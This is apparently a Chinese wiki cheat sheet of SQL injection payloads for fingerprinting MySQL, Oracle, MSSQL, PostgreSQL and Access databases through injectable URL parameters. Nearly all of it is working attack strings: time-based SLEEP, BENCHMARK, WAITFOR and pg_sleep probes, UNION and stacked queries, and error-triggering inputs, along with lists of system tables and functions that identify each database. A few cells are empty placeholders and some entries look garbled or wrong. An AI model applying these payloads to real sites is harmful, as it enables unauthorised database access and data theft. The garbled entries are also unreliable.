作者 | 修订时间 |
---|---|
2023-07-05 21:37:29 |
描述 | 语句 |
---|---|
SLEEP函数 | page.php?id=1'-SLEEP(1)=0 LIMIT 1 -- |
BENCHMARK函数 | page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 -- |
字符串连接(注意有个空格) | page.php?id=' 'mysql' -- page.php?id=' and concat('some','string') |
版本信息 | select @@version select version() |
错误消息(根据返回的错误信息判断) | page.php?id=' |
特有函数 | select connection_id() select last_insert_id() select row_count() |
Oracle
描述 | 语句 | ||
---|---|---|---|
字符串连接 | `page.jsp?id=' | 'oracle' -- a` | |
默认表 | page.jsp?id='UNION SELECT 1 FROM v$version -- select banner FROM v$version select banner FROM v$version WHERE rownum=1 |
||
错误消息(根据返回的错误信息判断) | page.jsp?id=' |
MSSQL
描述 | 语句 |
---|---|
WAITFOR 函数 | page.asp?id=';WAITFOR DELAY '00:00:10'; -- |
堆叠查询默认变量 | page.asp?id=sql'; SELECT @@SERVERNAME -- |
错误消息(根据返回的错误信息判断) | page.asp?id=' |
错误消息(如果id参数是整数, 则@@SERVERNAME 变量的字符串值可能导致转换错误) |
page.asp?id=@@SERVERNAME |
错误消息(如果id参数是整数, 则@@SERVERNAME 变量的字符串值可能导致转换错误) |
page.asp?id=0/@@SERVERNAME |
常量 | @@pack_received @@rowcount |
PostgreSQL
描述 | 语句 |
---|---|
字符串连接 | id=1 and 'a'+'b'='a' |
休眠函数 | page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a |
Access
[!Warning]
Access是轻量级数据库,特点是只有单个库,没有用户,单文件即可存储数据,在SQL注入时必须猜测表名和列名。 Access只有联合注入和布尔盲注。
描述 | 语句 |
---|---|
access无法想其他数据库那样只能去猜测数据库命 | ...... |
access空白符 | %20,%09,%0A,%0C,%0D |
总结经验
方法 | 描述 |
---|---|
常见搭配 | asp:sql server,Access .net :sql server php:PostgreSQL,Mysql java:Oracle,Mysql |
各数据库标志性信息 | sql server:select@@version Oracle:select banner from v$version mysql:select @@version,version() -- ,length(user)>0正常 postgresql:select version() -- |
各数据库特有的函数 | sql server: @@pack_received @@rowcount mysql:connection_id() last_insert_id() row_count() orcale:bitand(1,1) postgresql: select extract(dow from now()) |
对于字符串处理方式 | sql server :id=1 and 'a'+'b'='ab' -- mssql:id=1 and 'a'+'b'='ab' mysql:id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b') oracle:id=1 and 'a'+'b'='a' postgresql :id=1 and 'a'+'b'='a' |
特定表 | mssql,postgresql,mysql:information_schema postgresql: pg_tables => mssql: sysobjects oracle: all_tables,user_tables |
报错banner信息 | .... |